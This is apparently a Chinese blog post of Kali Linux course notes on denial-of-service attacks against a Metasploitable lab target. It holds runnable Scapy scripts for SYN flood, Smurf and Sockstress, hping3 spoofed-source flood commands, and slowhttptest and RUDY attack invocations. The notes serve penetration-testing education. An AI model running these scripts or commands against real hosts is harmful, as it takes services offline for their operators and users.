Kali Linux渗透测试——拒绝服务

笔记内容参考安全牛课堂苑房弘老师的Kali Linux渗透测试教程

一、基本概念

拒绝服务攻击指针对网络协议、应用的缺陷或直接耗尽被攻击对象的资源,使得目标计算机或网络无法提供正常的服务或资源访问,由于拒绝服务攻击通常利用实际存在的僵尸机和IP对目标发起合法请求,因此难以防范。可以从源、手段、目标三个层次进行划分:

  • 源:单一(DoS)、众多(DDoS)
  • 手段:漏洞利用、资源消耗
  • 目标:崩溃系统、崩溃程序、宽带资源上限、协议性能上限、应用性能上限、系统性能上限

二、攻击实现

1.Syn-Flood

原理:

我们先复习下TCP在建立和断开连接过程中,Client和Server的状态变化,如下所示:

TCP建立连接过程状态

图1 TCP建立连接过程状态

Syn-Flood向攻击目标连续、大量发送SYN包,利用三次握手过程中SYN_RCVD -> ESTABLISHED的等待过程,通过占满TCP最大并发连接数实现拒绝服务攻击,原理如下图所示:

Syn-Flood攻击原理

图2 Syn-Flood攻击原理

实现:

利用Scapy脚本发包,如下所示:

#!/usr/bin/python
# .*. coding: utf-8 .*.
from scapy.all import *
from random import randint
from thread import start_new_thread
from sys import argv
from time import sleep

if len(argv) != 4:
    print('usage: ./syn_flood.py [ip_address] [port] [threads]')
    print('eg: ./syn_flood.py 114.114.114.114 80 20')
    sys.exit()

ip_address = argv[1]
port = int(argv[2])
threads = int(argv[3])

print('Syn-Flood attack is running, press Ctrl+C to stop...')

def synflood(ip_address, port):
    while 1:
        rand_port = randint(1,65525)
        send(IP(dst = ip_address)/TCP(dport = port,sport = rand_port),verbose = 0)

for x in range(0,threads):
    start_new_thread(synflood, (ip_address, port))

while 1:
	sleep(1)

将Metasploitable当做靶机,对其发起Syn-Flood攻击,然后通过top和netstat观察系统资源消耗情况,刚开始发现靶机TCP并发连接数未增加,用Wireshark抓包发现系统自动回复了RST,如下所示:

在这里插入图片描述
添加规则拒绝RST包出站:

iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 10.10.11.128 -j REJECT

成功攻击后利用top命令查看靶机CPU性能,发现未受影响,但是TCP并发连接数已达上限256,此时正常TCP请求无法建立。

top监测
在这里插入图片描述
拒绝服务攻击常伴随地址欺骗,即伪造IP源(真正的攻击目标),利用僵尸机回包给攻击目标,从而以隐藏攻击者身份。但注意目前ISP边界路由器对进站和出站的源IP有所限制,会导致伪造IP包发送失败。

2.Smurf

原理:

十分原始的DDoS攻击技术,工作在链路层(局域网),向广播地址发送伪造源地址的ICMP echo Request(ping)包,使得局域网内主机都会向发送ping包的源地址发Reply包,从而使其遭受DDoS攻击。

现代操作系统大多已不再响应目标为广播地址的ping包,因此这种攻击方法已几乎失效。

实现:

利用Scapy脚本发包,如下所示:

#!/usr/bin/python
# .*. coding: utf-8 .*.
from scapy.all import *
send(IP(dst="10.10.11.255",src="10.10.11.128")/ICMP(),count=100,verbose=1)

攻击后发现只有网关设备会回应广播的ping包,Wireshark抓包如下:
在这里插入图片描述

3.Sockstress

原理:

利用TCP建立连接三步握手过程中的最后Client回复的ACK,其中window为协商的接收窗口大小,将其设置为0,使得Server误以为Client接收窗口已满,以等待数据发送,这样使得攻击目标大量Socket保持ESTABLISHED状态,会消耗攻击目标大量的系统资源。

Sockstress是一种非常有效的DoS攻击方式,单机发起异步攻击,可以使得高配置服务器拒绝服务。最有效的防御方法是采用白名单,但是应用起来不实际,折中对策是限制单位时间内每个IP地址的TCP连接数,但这又对DDoS失效。

实现:

利用Scapy脚本发包,如下所示:

#!/usr/bin/python
# .*. coding: utf-8 .*.
from scapy.all import *
from random import randint
import sys,os,signal,thread,time

if len(sys.argv)!=4:
    print('usage: ./sockstress.py [ip_address] [port] [threads]')
    print('eg: ./sockstress.py 114.114.114.114 80 20')
    sys.exit()

ip_address = sys.argv[1]
port = int(sys.argv[2])
threads = int(sys.argv[3])

def sockstress(ip_address, port):
    while 1:
        try:
        	x = randint(0,65535)
        	response = sr1(IP(dst=ip_address)/TCP(dport=port, sport=x, flags='S'),timeout=3,verbose=0)
        	send(IP(dst=ip_address)/TCP(dport=port,sport=x,flags='A',ack=(response[TCP].seq+1),window=0),verbose=0)
        except:
        	pass

def shutdown(signal, frame):
	print('iptables recover...')
	os.system('iptables -D OUTPUT -p tcp --tcp-flags RST RST -d' + ip_address + ' -j DROP')
	sys.exit()

def start():
	print('iptables change...')
	print('Sockstress attack is running, press Ctrl+C to stop...')
	os.system('iptables -A OUTPUT -p tcp --tcp-flags RST RST -d' + ip_address + ' -j DROP')
	for x in range(0, threads):
		thread.start_new_thread(sockstress, (ip_address, port))

signal.signal(signal.SIGINT, shutdown)
start()
while 1:
	time.sleep(1)

利用脚本攻击Metasploit2靶机80端口,攻击后Wireshark抓包分析正常,netstat分析TCP连接80端口处于ESTABLISHED状态最大280,但是靶机cpu性能并没有受影响,攻击无效,没有查阅到相关解释,困惑中。。。

在这里插入图片描述
相反运用C攻击脚本https://github.com/defuse/sockstress可以很好实现DoS攻击,虽然从top性能上分析没有将CPU资源耗尽,但是实际上系统已拒绝提供服务,如ssh、apache均不能正常访问。

git clone https://github.com/defuse/sockstress.git
cd sockstress
make

./sockstress 10.10.11.128:80 eth0 -p payloads/http

在这里插入图片描述

4.TearDrop

原理:

IP协议会将超过其最大传输载荷的数据分段传输,接收方利用数据段之间的IPID和数据偏移值进行拼接,TearDrop即利用IP分段之间数据偏移值重叠覆盖,使得操作系统无法处理此类情况而发生蓝屏、重启、卡死等故障。

原理如下图所示,假设数据段需要拆分为两个IP数据包进行传输,第一个IP包已经传输了1480字节数据,正常第二个IP数据包起始位置偏移量应为1481,而TearDrop攻击中偏移量变为1000,这样就导致接收方在拼接接收的两个IP数据包时出现重叠部分,从而导致系统处理错误。

在这里插入图片描述

图3 TearDop攻击原理

但是这种攻击方式仅针对早期Windows系统(95、98、3x等),这里只分析原理作为学习参考,实践意义并不大。

5.Hping3

和Scapy一样,几乎可以定制发送任何TCP/IP数据包,命令行参数命令,使用更加方便。

  • SYN Flood
hping3 -c 1000 -d 120 -S -w 64 -p 80 --flood --rand-source 10.10.11.128
  • ICMP Flood
hping3 -q -n -a 10.10.11.128 --icmp -d 100 --flood 10.10.11.100
# 10.10.11.100是PING包发往的地址
# 10.10.11.128是PING包中源地址,即攻击目标
  • UDP Flood
hping3 -a 10.10.11.128 --udp -s 53 -d 100 -p 53 --flood 10.10.11.100
# 攻击UDP 53端口(DNS)
# 10.10.11.100是PING包发往的地址
# 10.10.11.128是PING包中源地址,即攻击目标
  • LAND

一种特殊种类的SYN Flood攻击,源地址、目的地址都是攻击目标,攻击目标自己与自己完成TCP三次握手。

hping3 -n -a 10.10.11.128 -S -d 100 -p 80 --flood 10.10.11.128

6.放大攻击

利用协议自身特性,结合IP源地址欺骗,以小流量请求产生大流量回包,利用大量正常工作的主机实现DDoS,适合于放大攻击的协议包括DNS、SNMP、NTP等,这里仅分析其攻击实现原理。

(1)DNS放大攻击

DNS服务端口为UDP 53,攻击原理:伪造源地址为被攻击目标地址,向递归域名查询服务器发起查询,使得DNS服务器成为流量放大和实施攻击者,大量DNS服务器实现DDoS。以dig命令为例,dig ANY google.com @202.106.0.20命令发包数据107bytes,回包数据785bytes,回包流量照比发包放大了7倍。

(2)SNMP放大攻击

SNMP服务端口为UDP 161/162,其工作时由客户端(管理站)向服务端(被管理设备)发起查询请求,所有数据存储在服务端的管理信息数据库中(MIB),攻击原理:伪造源地址为被攻击目标地址,向开启了SNMP服务的设备发送查询请求,使被攻击目标遭受DDoS。

(3)NTP放大攻击

NTP服务端口为UDP 123,用于网络设备时间同步,NTP提供monlist查询功能,监控NTP服务器状况,客户端查询时,NTP服务器返回最后同步时间的600个客户端IP,流量放大约100倍,攻击原理:伪造源地址为被攻击目标地址,向开启了NTP服务且提供monlist查询的设备发送查询请求,使被攻击目标遭受DDoS。

7.应用层DoS

与应用服务进行异常交互时,利用自身存在漏洞耗尽应用或系统的资源,使应用或系统拒绝服务,其中典型且高效的测试方法如慢速DoS攻击:SlowHTTPTestRUDY

(1)SlowHTTPTest
  • 低带宽应用层慢速DoS攻击(源自Google)
  • 最早由Python编写,跨平台支持(Linux、Windows、OSX)
  • 尤其擅长攻击Apache、Tomcat
原理:

Slowloris、Slow HTTP POST

  • 耗尽应用的并发连接池,类似于HTTP层的Syn-Flood
  • HTTP协议默认在服务器全部接收请求之后才开始处理,若客户端发送速度缓慢或不完整,则连接资源始终占用,此类大量并发将导致DoS
  • Slowloris:完整的HTTP请求结尾是\r\n\r\n,在攻击中只发送\r\n
  • Slow HTTP POST:HTTP头content-length声明比较大的长度,但是body部分缓慢发送

Slow Read Attack

  • 与Slowloris、Slow HTTP POST目的相同,都是耗尽应用的并发连接池
  • 不同之处在于其请求正常发送,但慢速读取响应数据
  • 攻击者调整TCP Window窗口大小,使服务器慢速返回数据

Apache Range Header Attack

  • 客户端传输大文件时,体积超过HTTP Body大小限制时进行分段
  • 耗尽服务器CPU、内存资源
实现:

可以从GitHub上下载源码git clone https://github.com/shekyan/slowhttptest.git,然后进入slowhttptest目录运行:

./configure
make && make instal 

然后就可以运行命令,具体在man手册里,可参见EXAMPLES,下面用上述四种slowhttptest方法攻击靶机metasploitable2上运行的Apache:

# Slowloris
slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u http://10.10.11.128 -x 24 -p 3

# Slow HTTP POST
slowhttptest -c 3000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://10.10.11.128 -x 10 -p 3

# Slow Read Attack
slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u http://10.10.11.128 -p 3

# Apache Range Header Attack
slowhttptest -R -u http://10.10.11.128 -t HEAD -c 1000 -a 10 -b 3000 -r 500

经过测试,Slowloris和Slow HTTP POST的攻击效果最好,Slow Read Attack次之,Apache Range Header Attack则无法实现DoS。

另外除了上述下载源码编译后使用命令以外,还可以利用Docker拉取SlowHTTPTest镜像,在新建的容器中使用命令:

# 安装好docker后首先要拉取slowhttptest镜像
docker pull shekyan/slowhttptest

# 然后直接在新建的容器中直接运行命令参数,以Slowloris攻击为例
docker run -it shekyan/slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u http://10.10.11.128 -x 24 -p 3
(2)RUDY
  • R-U-Dead-Yet,慢速应用层HTTP POST攻击,类似SlowHTTPTest
  • 手段更绝,每次只传输一个字节的数据
  • 针对攻击有表单的WEB页面,攻击时要指定攻击的参数名称
实现:

https://sourceforge.net/projects/r-u-dead-yet/获取源码,解压后README中有详细介绍,在rudeadyet.conf中配置好攻击目标url以及表单提交的对象参数,以metasploitable2中dvwa登录界面为攻击目标:

[parameters]

URL: http://10.10.11.128/dvwa/login.php
number_of_connections: 500
attack_parameter: username
proxy_addr: ""
proxy_port: 0

然后运行./r-u-dead-yet-v2.2.py开始攻击,效果还是比较好的。

(3)Siege

HTTP/HTTPS压力测试工具,模拟多个用户并发访问请求,可到GitHub下载https://github.com/JoeDog/siege.git或者直接apt install siege安装。

siege -g http://10.10.11.128/dvwa/login.php
# 用HEAD|GET方法向-g指定url发送请求,获取banner信息
 
siege -i -c 1000 http://10.10.11.128 -A http-agent
# -i:模拟Internet上用户的正常请求
# -c:模拟多个用户并发测试
# -A:user-agent头内容
# 可以使用-f参数调用url字典文件,同时测试多个url
  • 0
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
要搭建Kali Linux渗透测试环境,你可以使用虚拟化技术,在电脑中模拟一个计算机环境来进行渗透测试。这样做的好处是可以放心地进行测试,而不用担心法律问题。你可以使用VMware Workstation软件搭建Kali Linux作为渗透测试实验平台,同时搭建Metasploitable作为渗透测试目标。具体操作可以分为三个步骤: 1. 虚拟机的搭建:使用VMware Workstation软件创建一个新的虚拟机,根据向导选择相应的操作系统和配置。你可以选择Kali Linux作为虚拟机的操作系统。 2. Kali Linux系统的安装:在虚拟机中安装Kali Linux操作系统。你可以下载Kali Linux的ISO安装文件,然后将其加载到虚拟机中,并按照安装向导进行安装。 3. Metasploitable环境的搭建:安装完Kali Linux后,你可以在虚拟机中下载和安装Metasploitable。然后,你可以使用Kali Linux中的默认浏览器(如IceWeasel)访问Metasploitable虚拟机的地址,以验证连接是否成功。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [kali渗透技术实战——搭建渗透测试环境](https://blog.csdn.net/weixin_54787877/article/details/113922900)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值